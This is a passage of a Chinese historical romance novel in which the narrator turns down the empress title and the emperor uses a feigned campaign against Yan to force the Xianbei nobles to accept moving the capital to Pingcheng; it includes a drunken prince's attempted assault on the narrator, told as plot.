皇上驾到,小鬼退散。他这一嗓门,整个院子都震了一下。拓拔烈脱掉了冕冠,连龙袍也没来得及换,大步流星,一张脸冻得和房檐下的冰棱一样,又冷又长,任谁都知道是龙颜赫怒了。两旁的宫娥宦寺仓惶退去,他前一阵子在朝堂上杀人立威,此事还尤在眼前。木犀胆子小,见到皇帝板着一张阎王脸踢门而入,已经吓得不会动了,香祖半拖半拽把她弄出屋子。永平耷拉着两条眉毛,一脸节哀顺变,很识相地跟了出去,带上了两侧的木门。
拓拔烈将那只铸得七扭八歪的金人猛然掷到我的食案上,昨天我翻来覆去想了一夜,觉得自己已经做好了承受他所有怒气的准备,但还是被这突如其来的声响吓得一哆嗦。
“说!怎么回事?”他冷言喝道。
我咽了一下口水,尽量不让自己发出颤音:“嗯……我的左手不好,你知道的……”
“我知道的……”他怒不可遏,终于咆哮起来,“我知道你手里还有我母后的金人!你是不耻做这种偷梁换柱的事情,还是不愿做这个皇后?是我表示的不够明白,还是我一直就太高估你了?你根本就是一个笨蛋!……我给你那些奏折,是要让你明白,想当这个宫里的女主人,就要先学会理直气壮地说——我不准!北边的柔然兵,那些都是我的事情,什么时候轮到你来操心了?……和亲,两国交战,最拙劣的一计就是和亲,我拓拔烈只要在位一天,就不会再出送一个拓拔家的女人!你以为让出皇后位就是权益之计吗?你知不知道你自己放弃了什么?手铸金人不成,就是不受天佑,在鲜卑人的心里,你就永远也不可能再坐上那个位置了!”
“那很好……”我小声说。
“你说什么?你再说一次!”他俯下身子,收紧了眼瞳,语气里已满是威胁。好像我只要再敢说一次,他就会捏断我的脖子。
我舔了舔唇:“我说,那很好……我在你的面前不一直就是个笨蛋吗?我知道你有得是退兵的法子,我的权益之计在你的眼里,只不过是小儿之见。你是太高估我了,我根本就没有想那么多……我就是讨厌那个皇后位,讨厌那个术士所下的谶言!我的所有问题好像都是因为那个该死的谶言而起!要不要这个皇后位,由我说了算,我就是不受天佑,他的这个预言不准,他所有的预言就都不会准!”
我一鼓作气说完,力量也跟着消失殆尽,只得拱着背,颓坐在那里。本来藏在心里天大的事情,直到说出口,才发现真是个烂得要命的理由。我大概真的不适合去做一国之母,我的心没有那么大,背井离乡、举目无亲,那种辛酸滋味,再无力重来一次。我想要的,无非是眼前这个男人,能够长久地活下去。
拓拔烈呆立当场,动了动唇,几次开口欲言,最后都放弃了,大概已经想不出什么词可以形容我的愚蠢。他默默拿起案上的金人,因为摔得太重,又瘪进去一个角,看上去更不成人形了。他注视着那个其丑无比的金人,渐渐柔软的眼神在那张千年不化的冰块脸上,多少显得有些尴尬。
“哼”,他哂笑一声,抬腿往门外去,才要出门,又回过身来指着我的鼻子,恶狠狠地警告道:“上元节朕大婚,你不许出现,朕不想见到你!”
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直到上元节,他都没有再来见我,可是每天照样有改不完的折子,从他的宫里成摞成摞的往我这儿送。拓拔烈利用人,一定会利用到最彻底。他大概觉得,让我天天对着他的大婚贺表,是对我抗旨不遵的最好惩罚。可是,户部呈上来的婚礼所需的开支,也被我生生砍掉了一半。
盛乐有东西南北四宫,北宫住着太上皇,我和皇帝同住东宫。照说这个地方应该让出来给未来的皇后,但拓拔烈却迟迟没有下旨,最后只把离东宫最远的西宫拨给了她。
自古后宫无非两种女人,得宠忧矣失宠愁。我不间不界的存在,宠幸与否,册封如何,都成了好事奴才们茶余饭后最可咀嚼的话题,更甚至是,无聊时候赌桌上的游戏。
盛乐宫的御花园里有块巨石,原本开采来想做成假山,但上面有处不知笔者的摩崖石刻,据说书体十分精妙。那时还是少年的拓拔烈不忍破坏它,就让人单独辟出块地方安置。百无聊赖的午后,为了去看它一眼,在御花园的千步廊下,听见一个宦寺说话。他为了博取年轻宫女的一笑,在背地里戏称,皇上将会册封我为“姜夫人”,因为我所铸的那个金人,实在像块生姜。
宫女们围坐一处,掩着嘴哧哧笑了起来。香祖已经掳好了袖子,想要上前教训几句,被我拦了下来。我在她手心里写了一个“姜”字,淡然道:“姜,美女也,这有什么可气的。”
但这事不知怎的,还是传到了皇帝的耳朵里。拓拔烈命人捉来那个太监,当众打了几棍子,赶到宫外去了。
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皇宫上下开始张灯结彩,大红喜字贴得满眼都是,我也开始闭门不出。直到上元节那日,定昏过后,还是能听见前殿传来的笙歌不绝。让人想起去年元夜,和刘翀一起走过的灯火如昼的西市,回首望长安,驰隙流年,恍如一瞬。如今的寥落东宫,火冷灯稀霜露下,只剩下我和几个随身的婢女。木犀懒懒地倚靠在熏笼边上,一动也不动。从点灯那刻起,香祖就一直站在那里,来回不停地拨弄着灯芯,好像已经和它产生了感情。
我在屋子里闷坐了一天,堆了一案的折子也不去理。拓拔烈不让我去观礼,其实我也知道他此刻在干什么。礼部所呈的折子里,从纳采问名,到还宫合卺,条条款款,写得清清楚楚。我还删繁就简,都是给别人做的嫁衣裳。
随着耳边曲声渐稀,我看了看天,此刻他也该移驾西宫了。“我要出去透透气!”我倏然起身,闷闷地踱出宫门。身边只跟了一个木犀,这个丫头话少,省心。
夜风带露,飘来一阵胡香酒气。没走几步,就迎面撞上醺醺大醉的拓拔宇。本想避让,却被他伸展手臂,逮了个正着。
“哈,王小姐……小美人……”拓拔宇身材高大,我只觉眼前一片黑云,劈头盖脸罩了下来。我被他拢在怀里,四处碰壁,逃脱不得。木犀急得大叫:“大殿下……大殿下,你快放开小姐……”
“滚!”拓拔宇朝她大喝一声,立刻把她吓住了,她愣怔了一会儿,忽然明白过来,转身就跑。
拓拔宇满嘴酒肉气,低头就亲,我唯有大声叫嚷、抵死反抗,希望木犀能快点找到救兵。“小美人,你家皇帝哥哥根本就没打算要你……朝中有不少汉官为你上折子呢,要册封你个昭仪、夫人什么的……他一样都不准……我看,你还是跟了我吧……我总能给你一个名分……”
拓拔宇根本不顾我的拳打脚踢,开始撕扯我的衣服,我只怕等不到救兵,就要被他糟蹋去
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了。危急时刻,忽听有人大喝:“大哥,快放开!”
是二殿下的声音,拓拔冶不知从哪里现身,上前想拉开他。拓拔宇酒醉,浑身都是无法控制的蛮力,一肘子顶了他一个趔趄。他又挺身过来,喝到:“大哥,你喝醉了!不要命啦?”他抡起一拳打在拓拔宇的脸上,拓拔宇这才有所清醒。
木犀领着几个公公从远处慌忙赶来,拓拔宇甩了甩头,被拓拔冶拉到一旁。从他怀里挣脱时,我已经狼狈不堪。拓拔冶一揖到地:“王小姐,我大哥他喝醉了,并非有意侵犯,我代他向你陪不是。”
我只顾抱着双臂抽泣,已经没有力气再去原谅谁了。木犀搂着我往回去,我蜷缩在自己的床榻上,直过了许久才缓过劲来。
彼时,拓拔烈的那杯合卺酒也该下肚了吧。
这件事惊动了不少人,是决计瞒不过皇帝去的。拓拔宇被一拳打醒,立刻找了个机会去伏低认错,皇帝似乎并没有为难他,禁了他的足,让他回家去反省几天。
我赶走前来报信邀赏的公公,喊香祖熄灯。其实眼不见也未必净,只能竭力挥去脑中的幻象,用睡眠来麻痹自己。
也许是我的梦境,我又听见永平那个跑得上气不接下气的声音:“皇上驾到!”我躲在被子里没有挪窝,直到有温热的手指抚开我额前的碎发,我才意识到,他是真的来了。
可惜是来问罪的。
屋子里又点起了灯,亮的刺眼。木犀跪在地上不停地哆嗦,拓拔烈坐在我的床缘,指着她大喝:“你这奴才,主子出了事,你先跑?来人,把这贱婢拖出去仗毙!”
立刻就有几个宦官上来拖人,木犀吓得直哭,一句话也说不出来。香祖想上前求情,可她当时并不在场,支支吾吾也说不出个所以然来。
我只得从被子里爬出来:“皇上,木犀是跑去喊人了,何罪之有?”
拓拔烈并不理我,对宦寺喝到:“还不拖出去,想抗旨?”
“等等!”我翻身下榻,忍了一天了,我也有脾气,“皇上好大的威风,有罪之人现在在家里享清闲,这几日倒连早朝也不用来了,无罪之人却要仗毙!”
“朕在替你教训底下的奴才!”拓拔烈轻抚着我的手臂,言语之间却是挑衅。
“我的人我自己会教训,不劳皇帝费心!”
“拖出去。”他再一次下旨,声音不大,但不容违抗。几个宦官闻言,要上前拖人。
我闻见了他衣服上的隐隐酒气和刺鼻胡香,阿兰公主用的这种香,拓拔宇身上也有,我只觉得恶心,用力挥开他的手,大声对宦寺道:“我不准,谁敢动!全都给我滚出去!……还有你!”我转向拓拔烈。
两个宦寺果然停下动作,所有的人都凝神屏息,想看我怎么在皇帝面前收场。我怒目看他,他却勾起了嘴角,好像刚才什么事也没有发生过。他起身挥退了两个抓着木犀的宦寺,又俯身吻我的额头,在我耳边柔声道:“早点睡觉吧,所有不愉快的事情,明天就会忘记了。”
一大群人尾随着皇帝鱼贯而出,我才发现拓拔烈带了这么多看客来。不用到天亮,宫里就会传遍。
对于他这样一个骄傲的人,曾经双手奉上的东西,被我轻易地扔在了地上,我推开了皇后位,他也就固执地不给我任何其他的册封。一个没有名分的女人,想要在后宫里立足,就只能依靠皇帝的庇护。但我并不感激他今晚的纵容,他凭借着权势替我树立起来的威信,如同大漠之中建立的广厦,毫无根基。这样的帝王爱也太过凉薄。我更加确信自己不需要那个皇后位,如果他付出的不是真心,只要愿意,一个转身,任何东西都可以收回。
38. 第五章 昨日不可留
一清早就被啁啾鸟鸣唤醒,香祖小心卷起绣帘,生怕惊飞了窗外一双喜鹊。院子里的红梅还凝着宿雾,她探头深吸一气,开怀道:“小姐,一大清早就有喜鹊登梅,可不是叫皇上说准了,不愉快的事情都过去了……木犀,你也一样,大难不死,必有后福!”木犀放下手里的热水,拍了拍胸脯,合起双掌,小心念了句佛号。
绣户慵开,香印成灰,我“嗯”了一声,慢吞吞从衾被里爬出来,还是觉得有些浑然无绪。
香祖过来替我梳头,凑到我耳边,神秘兮兮地报告道:“昨儿皇上走了以后一直就在书房里改折子,累了就睡下了,根本没回西宫去……”我迷迷糊糊斜了她一眼,还留有三分睡意,她又信誓旦旦地补了一句:“我和永平打听的,保管没错!”
我小声斥责了一句:“以后别再去打听这种事情!”人也就跟着清醒了。
朗朗乾坤都在他的心里,眼皮底下的事还想逃得过去,不过受人以笑柄。和比自己聪明的人打交道,就只能以静制动,千万不要妄图在他的面前卖弄小聪明。
香祖吐了吐舌头,绾好发髻,收起篦子,合上妆奁。一个蓝色瘦弱的影子从回廊下穿过,我朝窗外张了一眼,是永平趋步而来。他进门禀道:“小姐,皇上有旨,崔大人远道而来,请小姐过去见见,一同用早膳。”
“哪个崔大人?”我问。
“是清河崔氏的崔季渊大人。”
江表奇才服谢荻,洛阳雅望称崔渊。陈留谢氏和清河崔氏是现如今南北两地最大的士族,其中又以我舅舅谢荻和三公子崔渊名声最高。传闻崔渊此人,少好文学、博览经史,又懂星象阴阳、百家之言,研精义理当时人莫及。世人常拿他比汉时张良,是个经天纬地的奇才。我久仰崔渊的大名,是因为六叔的吉光雅园里藏过不少他的墨宝,他的书道精湛,行书尤妙,顾先生为我启蒙时,我就常临崔渊书。后来六叔和顾先生都和我提过,我的字迹里多少有些他的笔意,经年累月,已经挥之不去。
我高兴起来,忙喊香祖为我更衣,有嘉宾自远方来,当然要盛装以待。木犀捧来一袭茜衫,绣着石榴花的红裙一上身,整个人就充盈了洋洋的喜气。我揽镜自照,还唯恐不够郑重,又提笔淡扫眉萼,轻点朱唇,斜插了一只燕钗。木犀在一旁讷讷地说了句:“嗯,好看!”香祖就急急把我推出了门。
今天是休沐日,拓拔烈未去早朝。永平在前为我引路,还没走进门,就听见一个青年男子在说话,声音如环佩,妙语如连珠。又听见拓拔烈不停念着季渊的名字,开怀而笑。
我提着裙子进屋,见拓拔烈位于正坐,一手端着茶盏,一手搁在膝盖上,半倚半靠,坐姿疏懒。大约刚刚沐浴过,头发微湿,披散在脑后。衣着也很随意,只是一件黑色的旧衫,也不系紧,露出里头一大片白色的中衣。这个样子好像我六叔那般的富贵闲人,丝毫也没有素日里威风八面的皇帝架子。
我笑了一下,才要下拜行礼,就被他喊住了:“狸奴,季渊在,你也不要拒礼,过来坐。”他向我伸手,刚才大约说了有趣的事情,脸上的笑容一直未收。看见我一袭红裙,拉着我的胳膊上下打量了一番,又伸手从一旁的插瓶里折了一枝红梅,别到我的鬓间。他眯着眼睛再次欣赏了一番,眼神迟迟不肯离去。
当着别人的面,我倒有些不好意思,可他却做得潇洒利落,一点儿也没有扭捏之态。我看着他笑,也羞涩地抿起了嘴角,这半个月来的不愉快,好像全都泯灭在这相视一笑里了。
他说得对,一觉醒来,昨日之事譬如昨日死。回头试看,过去种种,何足挂齿,不如惜取眼前人。
拓拔烈为我介绍道:“清河崔季渊,狸奴可认得?当年朕为青兕先生时,还常常到他家里噌饭吃呢。”他复又笑起来,心情颇好。
崔季渊笑道:“皇上当年为青兕先生,总是以古稀老人的样貌示人,头戴斗笠,面遮黑纱,只能看见胸前的银髯飘洒。是我当年眼拙,直到今日才有幸一睹龙颜。”
崔季渊应该已经年过三十,可看上去却只有二十五、六。头顶漆纱笼冠,身着元青色的大袖衫,一派世家公子的洒落风度。传闻他的相貌美若妇人,今日一见,面目娴丽,果然不是妄言。他率先起身向我行礼,恭敬唤了声:“夫人。”
我并未得到过任何册封,听他这样一唤,倒有些窘。拓拔烈却还是一脸的闲适,好像对此也没有什么异议。我瘪了瘪嘴,微微躬身,向他致意:“王敏久仰崔先生大名。崔先生书法一绝,结字清而峻,用笔精而稳,大江南北,都以能收藏到先生的墨宝为荣。在南朝,顾怡的一方小帧,先生的一纸尺牍,就要价值千金呢。”
“夫人谬赞了。”崔季渊躬身又还一礼。
拓拔烈抚掌大笑:“季渊的绝活又何止书道,你们千金得一宝剑,都不及朕得一欧冶子。季渊现可是朕的仆射了。”
我也跟着笑:“圣主得贤臣,狸奴恭喜皇上!”
一阵寒暄过后,两人又说起变法,我就茶吃着点心,坐在一侧静听。前太子崇尚汉人的典章制度,但匈奴贵族的保守势力太盛,加之太子性格软弱,改革一直都不太成功。拓拔烈也是倾心汉化的,故打算提倡汉语汉服,改革官制,督导农桑。
而其中最为棘手的一件就是迁都。拓拔烈以为,云中处于关外,地不能耕,只适宜游牧,又常常受到柔然人的侵扰,此间只是用武之地,不能文兴,更无法发展经济,故一直想把国都前到关内的平城。可是云中却是鲜卑贵族们世代生活的地方,强制他们统一汉人的文轨已经是桩困难的事情了,更何况要他们这样劳师动众地去放弃祖宗基业。
兹事体大,寤寐于圣心。崔季渊一时间也拿不出办法,大感头痛。拓拔烈率先结束了这个话题,说好了午饭之前所谈及的,只关风月,无关国事。但他又岂是贪闲之人,嘴上说的是琴棋书画,但弦外之音,象外之旨,又有哪件不关乎他的天下。
君臣二人说起书法倒是志同道合,聊得兴起时,我为解眼馋,就提议二人合作一幅横卷。我虽和崔先生头一次见面,但他的笔法我多年勤练,早已谙熟于胸。
倒是难得见拓拔烈以左手写字,早在当年,青兕先生就以一阙豪迈短歌俘获了我的心。我将左手背在身后,凝神看他走笔,笔势之伟,笔意之诣,笔法之粹,令人叹为观止。他们刚才讨论国事,我一直都没有开口,但心里难免生出隐忧。观字如观人,拓拔烈行事如行笔,都太过雷厉风行,我只怕他为迁都一事,又要杀人。
北帝曾经也是他的敌人,可他几次和我说起刘圭当年杀人如剪草的作风,都未有微辞。他们同出生于草原,在苍狼星的照耀下,骨子里都隐藏着嗜血的一面。杀掉几个反对他迁都的保守贵族,短时间里确实可以起到震慑人心的作用,但他刚刚继位,就要背负如此重的杀伐,于将来必定不是一件好事。
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自崔季渊以后,宫里的人仿佛都得到了暗示,开始唤我夫人。尽管拓拔烈从未在我这里留宿,但于旁人看来,同住在东宫这一屋檐底下,俨然已经昭告天下。
自皇帝大婚以后,柔然的十万铁骑北撤,但边境上的小规模劫掠依旧不止。过了上元节,西宫就冷清下来,繁华过后,愈显索寞。满眼的大红喜字,还没贴足三日,就叫皇帝下旨,全部扯了下来。
阿兰公主好像派人来东宫请过几次,但拓拔烈都找理由搪塞过去了。听闻她是个性烈的女子,至于有没有闹事,我没有亲见,只从身边的丫头那里听到一些。于这样的处境下发发脾气,也是情理之中。
因为她姐姐的缘故,阿兰公主一直和拓拔宇走得很近,还常常跑去大皇子的府上做客。拓拔烈并不干涉她的生活,只要她不往东宫来,也就由得她去,随她要
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摔盘子砸碗,打骂下人,还是留宿于宫外,彻夜不归。
自拓拔宇醉酒闹事以后,我的身边也多了影卫。日子仿佛又回到了从前,假如不作深想,屋檐底下好像也就只有我们两个人。
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一个月后,朝堂之上再度哗然。拓拔烈下旨,亲征燕国。
之前的一个多月里,经我手里的折子已经越来越少,一些攒积许久的陈年旧事,我早就处理妥当,剩下的,不过是些例行公事。自他打算伐燕,案子上的公文又如山积波委,他将所有关于上疏反对他出征的奏折都放到我这里,只让我写两个字——不准。
我每本奏折都会细读,直看得我心惊肉跳,这根本就是一场没有胜算的战争,甚至连个像样的战争理由都找不出来。如今的燕国在昔日虎牙将军慕容斐的麾下,治理得有声有色。代国国力本就不如燕国,拓拔烈打算倾举国之力南伐,根本就是以卵击石。不禁让人想起刘圭的南北之战,泱泱大国,就毁于一役。
我只觉得握笔的手都在发颤,再也写不下去了,只能停笔打断他:“阿烈……”
“嗯?”他抬头看我,屋子里没有其他人,用过晚膳后,就全都被他轰了出去。近来他似乎不愿见人,下了朝就直接躲到我这里来。
“这些你都看过了吗?”我拿起宇文将军的折子送到他案上,当年慕容直收归东鲜卑的宇文、段部,老将军战败以后就举家投靠了代国,一心想要剿灭慕容部,以雪前耻。拓拔烈此番贸然南伐,于天时、地利、人和一样也不占,就连他也站出来反对了。
他放下笔,揉了揉太阳穴,直截了当地说:“我没看。”
没看?我的气不打一处来:“你只凭崔季渊占卜星象,就敢出兵?”
他无所谓地说道:“可是你说我是圣主,他是贤臣的?阴阳星象,你若不信这些,那又为何要放弃皇后位?”这人还真会记仇!我的话还没说完,就被他一把扯进怀里,“这几天面争庭论的人实在太多,就是不看我也知道他们写些什么,没看到我是来你这里躲清静吗?怎么,连你也想犯君直谏了?”
我挣了几下,起身想和他说明轻重利害。他轻叹一声:“狸奴,我知道你不愿我杀人,谏者无罪,才能广开言路。这几天为伐燕,都是季渊在朝堂上替我舌战……对付你这丫头,就只有朕亲自出马了。”他不由分说,俯身堵上我的嘴,不比以前的柔情蜜意,下手之狠,根本就是在报复……
我从他怀里挣脱出来,咬牙看他,本想继续往下说,却见他邪邪对着我笑,分明就是威胁。我捂上嘴,不知死活地凑上去:“阿烈,你是有破敌的妙计,对不对?”
他不答反问:“这些反对我南伐的奏折你都看了,这一仗九死一生,狸奴,你说过,要我带你去我的战场,这次,你又敢不敢和我一起去呢?”
“你肯带上我?”我连忙点头,惊喜大过于对死亡的恐惧,如果他出征的心意已决,我就不愿被他抛下,也不愿错过他继位之后,真正意义上的第一战。“阿烈,你之前究竟给慕容斐吃了什么?你心里早有胜算,对不对?”
他轻笑一声:“不过是后宫里的一个龌龊方子……”我好奇看他,他笑着捏了一下我的鼻子,戏谑道:“但这方子不能和你这妒妇讲。”
“谁是妒妇?”皇后位我都舍得,哪还有我这么大方的妒妇?我捶了他一下,被他抓住了拳头。
“那你每天让你那个多嘴多舌的小丫头到永平那里打听什么?”他挑眉看我,笑得更邪气了。
每天?“我才没有!”我抿着嘴,这下可真是百口莫辨了。
拓拔烈再次将我揽进怀里,在我不能合上的左手掌心里写了一个“宫”字,承诺道:“狸奴,等这一战结束,我就会给你一个只属于我们两个人的宫。”
39. 第六章 两害取其轻
塞外春色姗姗来迟,二月江南花已落,云中即今始破冰。我裹着轻裘,独自一人坐在宽敞的辇车之中。校场点兵过后,便要出发。
拓拔烈此次南伐,兴师动众,带走了几乎所有在朝堂上任职的鲜卑官员,和在国都云中的十万驻军。拓拔宇和皇后郁文闾氏送他出辕门时,他还亲热地拉着皇兄的手,说长道短地嘱咐了好一番话。这次他竟然放心地留下拓拔宇来监国,还真是让人匪夷所思。
皇后一直跟随在他身侧,几次开口欲言,都没有寻到机会。路经御辇时,她朝里头白了一眼,我立刻放下帘子,把头缩了回去。只听拓拔烈的声音从辇车边传来:“皇后,宫里的事就烦劳你了,太上皇那里请代朕多加照应。”
阿兰公主含糊应了一声,似乎还有话讲,但阵前一阵骚乱,打断了她。我小心挑开帘子,露出一条缝来,原来是宇文将军领着几个人,再次劝谏皇帝,阻止他发兵。
紫面花髯的老将军拨开人群来到拓拔烈面前,他双膝跪地,一身耿介,句句肺腑:“皇上,臣戎马一生,并非贪生怕死之人。慕容部是我宇文家的宿敌,臣又何尝不想一雪当年的耻辱。只是陛下,此番出征,实在太过冒险,臣再次恳请陛下收回成命!”语毕,又重重一头碰在地上,发出了闷雷般的声响。
此话一出,又引得军中一阵骚动。
拓拔烈一身金色甲胄,气势凭陵,他说话的声音不大,但语气里已有愠怍:“宇文将军,朕知你忠心。大丈夫要死,也要死在战场上。你英雄一世,不如去疆场上杀几个慕容家的宿敌,也好过死在自家的辕门口,那岂不是冤枉了?”他不再看眼前人,翻身跨上坐骑螭龙,大声下令道:“传旨下去,此番伐燕,朕意已决,谁再敢出来阻挠,定斩不赦!”
“出发!”随着拓拔烈一声令下,队列整肃,军容翕习,耳边只听得旌旗猎猎,吹角连营。
崔季渊也跟着登上战车,青色直缀,靛色罩袍,秀眉白面,还是一个羸弱儒生的模样,却有着一种睥睨天下的自信眼神。拓拔烈伐燕的心意决绝,就因为他占得了一副上九离卦:王用出征,以正邦也。可单凭一副卦象就于这样不利的情势下发兵,大概三军之中,除了皇帝,也只找得出他一个气定神闲的人了。
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由于出征的队伍声势浩大,一路行进得都很慢,拓拔烈似乎不以为意,进了关内,还有意放慢速度。甚至常常在某个富庶的地方安营扎寨,一停留就是数日。白天抑或在山林里行猎,抑或到府衙州县筹集粮草。到了晚上就点得满军营的篝火,和一群人喝酒吃肉,谈笑作乐。夜夜胡琴琵琶与羌笛,我窝在行军塌上,睁眼就能看见帐子上火光明灭,长袖飞舞,搅得这几天没有睡过一个安稳觉。
因为拓拔烈放权,所有的户部开销都会经由我过目,此次行军的费用已经高得令人咋舌,若是再打起仗来,真不知道要从哪里再去筹集那么多军费。
因为缺少睡眠,我头疼欲裂,合上公文时,咬牙切齿咒骂了一句“昏君”。木犀端着茶盘愣在我面前,我抬头看见她一脸无辜,眼珠子转来转去,好像要向我证明她什么也没有听见。我环视了一下军帐,平日里伺候我的宫女宦官一个也不少,也不知道拓拔烈这回是怎么想的,这是要去打仗,把这些人统统都带出来干什么?
我拿着军费的帐目,疾步往拓拔烈所在的宫帐去。路遇二皇子拓拔冶,他曾经帮过我一回,但对这个人我始终都没有什么印象,好像看不到他,也就记不得他的存在了。我唤了声“殿下”,屈身一礼,他微微颔首,又慌忙垂下视线,便匆匆离开了。我看着他远去,也不知道刚才那一下算是还礼,还是存心要躲着我。
宫帐两侧的侍卫见到我正犹豫着要不要拦,我也没顾得许多,径直就往里去了。崔季渊也在,正和拓拔烈谈笑,见我怒气冲冲闯进去,两个人都瞠目看我。在别人面前总要顾及他皇帝的面子,我放缓脚步,欲要下拜行礼。他却先和崔季渊笑道:“就依你的主意办,卿先回去吧,朕家里的管家婆要来找朕算帐了。”
崔季渊告退,又含笑向我一揖,风度翩翩,挑帘出去了。拓拔烈整了整袖子,一脸老神在在,等着我上前发难。我把这阵子行军的费用往他案上一放,肃然道:“皇上,别的不看,这可一定要看。那些拓拔家的宗亲们,寸功未立,您就已经赏赐了那么多金银美人。您可别忘了,打仗就是在打钱,再这样下去,还没走到中山,您就是连班师的路费都没有了!”
“嘘,小点声!”拓拔烈忍着笑,把手指抵在唇上,谐谑道:“朕这是破釜沉舟,置之死地而后生,要是攻下中山,金山银山都有,你还怕没有回去的路费啊?你可不要出去动摇军心啊!”
骗小孩子的话,我怎么会信他。我转了下眼睛,深吸一气,伏跪到他面前,摆足了一副谄媚相,小声央求道:“阿烈,你是有打败慕容斐的妙计吧?别再卖关子了,就告诉我吧……”
“我又不是神仙,哪来这么多妙计。现在去攻打燕国,必死无疑。不说两国实力尚且悬殊,自古以有道伐无道,人家好好的,我现在可是师出无名,是一点胜算也不会有的……”他不再看我,低头专注于案上的公文。
“那你这又是为何?”我嬉皮笑脸,凑得更近,想让他注意到我。
他停下笔,语气不善:“回去自己想,别什么事都要我来告诉你。想明白了就先来跟我说,你要是再敢自做主张坏我的事,你就仔细了,我饶了你一次,可就不会再有第二次了……”
做皇帝的就是喜怒无常,刚才还好好的,转眼就恼了。直到今日方才明白,真是伴君如伴虎。手铸金人的事被他念到现在,他总有办法让我觉得自己理亏。我只好摸摸鼻子,识相点退了出来。
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三月降水丰沛,连着几天风雨大作,丝毫没有要停的迹象。道路泥泞,马蹄深陷其中,于这样的天气下恐怕很难再走。一路上都很笃定的拓拔烈却在此时下令急行军,务必要在天黑之前赶往东都。天色不亮时,他就下令拔营,彼时大雨滂沱,十万人马忙着征衣快行鞭。一路辛苦自不必说,夜间抵达平城时,三军将士都和泥糊的一般,歪盔卸甲,无不狼狈。
东都平城里原就有行宫,为太上皇执政时期所建,其奢华程度不亚于云中盛乐。不等用餐休整,拓拔烈就升坐中天军殿,此时,无论是骑马的武将,还是坐车的文臣,都已经疲惫不堪了。
拓拔烈却依旧精神抖擞,不急不缓,开始询问破敌之策。满朝文武登时都傻了眼,本以为皇帝力排众议,一意孤行,定是有奇谋在胸,却原来他也没有主意。
这时候,一向帮着他主张南伐的崔季渊突然站出来反对,声称近日星象有变,不宜出战。崔季渊这阵子一直跟随皇帝进出,俨然是他的心腹宠臣,大家一路上都不敢再谏,此时见他挺身而出,又开始纷纷附议了。
拓拔烈当庭拍案,狠狠斥责了崔季渊:“朕倾举国之师,挥军南下,已为天下人共知,如今无功而返,又带着这么多秉笔的史官。此事就此作罢,朕不但要被天下人嘲弄,更免不了贻笑后世!”
崔季渊“扑通”一声跪倒在地,战战兢兢出了个主意:“陛下出师云中时,并未晓谕天下是为了南下伐燕,今大军已到平城,依臣之见可否
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告谕天下,陛下此行乃是为了迁都?”
君臣二人在大殿之上一唱一和,拓拔烈思忖片刻,朗声道:“这次南下,兴师动众,不可劳而无功,不能南征,就迁都。众卿赞成迁都平城的,就站在朕的左侧。不然,就继续南下!”说到后面,语气之中已颇有玩味。
任谁都明白此次伐燕的凶险,不消半刻,人群就犹如被劲风吹倒的墙头草般涌到了大殿一侧。
我躲在中天军殿的帘幕后面,紧紧捂着嘴,只怕自己忍不住笑出声来。拓拔烈根本就没有打算伐燕,一路上带着那些鲜卑贵族好吃好喝,也只是为了让他们见识一下关内的人情风物。重赏于前,他们得了变法改革的好处,到了选边站的时候,自然也就不会那么固执己见了。
古今帝王迁都,都是一件花费巨大,历时长久的工程,没想到拓拔烈竟然能在不到一个月的时间里就完成,所耗费的那些银两,如今看来真是大划算了。
只可怜崔季渊这个大功臣最后做了替罪羊,为了安抚人心,被皇帝贬了官,从仆射降成了小小通直郎。
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平城宫阙万仞,壁水池园,九衢四达,堂殿胶葛。新雨过后,月色侵冷百花,夜风拂度暗香。我立于鸿雁池畔,只听得身后春袍窣地,不用回头,也知道是元郎年少,正雄姿历落。
“送死,还是迁都?两害相较,取其轻。”我又忍不住掩嘴去笑,“这种事情,只有青兕先生能想得出来。”
忽被一双猿臂环绕,拓拔烈把下巴搁在我的肩头,柔声怡色:“青兕先生可没有想那么多,青兕先生只想……他拆的字从来应验,可不能在一个小姑娘手里砸了招牌。”他气吐幽兰,我的耳朵被弄得热热痒痒的,缩了一下脖子,把他推走。
他扳过我的身体让我看他,正色道:“狸奴,自你拿出那个失败的金人起,你就应该明白自己放弃了什么。机会只有一次,你丢掉了,就不会再有了。我不会给你除了皇后以外的任何册封,每个人都要为自己的行为付出代价,你也一样。但我向你做过的承诺,我依然会去兑现……那么你呢?我的这条路并不好走,你是想要放手了吗?”
我低下头,好似无关痛痒地问了一句:“你贬了崔季渊的官?”
“嗯?”他拾起我的下颚,收紧双瞳,好像又要恼火我答非所问。我忽然咧开嘴,笑颜对他:“崔季渊非但无过,还帮了你大忙,你却贬他的官,他又为什么要付出这样的代价呢?你能给人的东西,一个转眼也能收回,立后拜相,这样的名份官位,崔先生不希罕,我也不希罕。崔先生出生士族大家,他肯为你出仕,必然不是看中你给的富贵名利。你这次虽然收回了他的官位,于将来,必定会给他更好的。我也一样,只等你给我最好的!”
拓拔烈优雅地弯起了嘴角:“嗯哼,话是越说越漂亮了,心也越来越大了……你不希罕?你一个不希罕,朕就要以天子之身,去迎娶索虏之妹,这笔账我又要和谁去讨要?”他的笑意不散,声音却渐冷,我再次败下阵来,低着头,等他教训。“我一日在这个位置上,就一日不能从心所欲,在可以给你的情况下,我会给你,但恐怕不会是最好的。在这个屋檐底下,我们两个都没有可以任性的权力。狸奴,我话已至此,这是我最后一次问你,没有名分,你也愿意和我一起走下去吗?”
花前月色朦胧,裙畔丝髾飞扬,无故绊惹春风。我们都没有任性的权力,面对眼前这个男人,我总是有诸多的无奈,于这样的美景良辰,就只能权且把他的警告当成绵绵的情话。我朝他莞尔颔首,他回以一笑,在我耳边,柔声如鸣弦:“狸奴,搬来我的宫吧。”
40. 第七章 祀先农先蚕
我不敢看他,双臂绕着他的脖子,越过他宽厚的肩头,看见一路蜀锦地衣,紫丝步障,两旁有玉树琼枝,迤逦相倚。屈曲回廊,几扇窗户没有关严,夜风撩起绣帘,依稀可以看见,玉砌雕阑,新月如钩。头发还在滴水,从池子里出来以后,身上只裹了件他的罩袍,一时间难忍这阵料峭春寒,整个人又往他的怀里瑟缩了一下。拓拔烈紧了紧手臂,扯出袍子的一角,罩住我的头,又擦了几下。
被他抱进屋子以后,才稍感暖意。金猊缓缓喷着白雾,是宜人的苏合香气,案上一对红烛高烧,绣幕罗帏,凤枕鸳被,沐浴过后,已经有宫娥收拾妥当。他停在床缘,弯腰俯下身子,拍了拍我的背,我只得松开菟丝草般缠绕着他的双臂,连忙扯过衾被,躲进里面去。避开他幽深如潭的眸子,只盯着帐幔上开满的并蒂莲花,他也跟着上了牙床,碰到我的时候,我又不禁一下摇战。
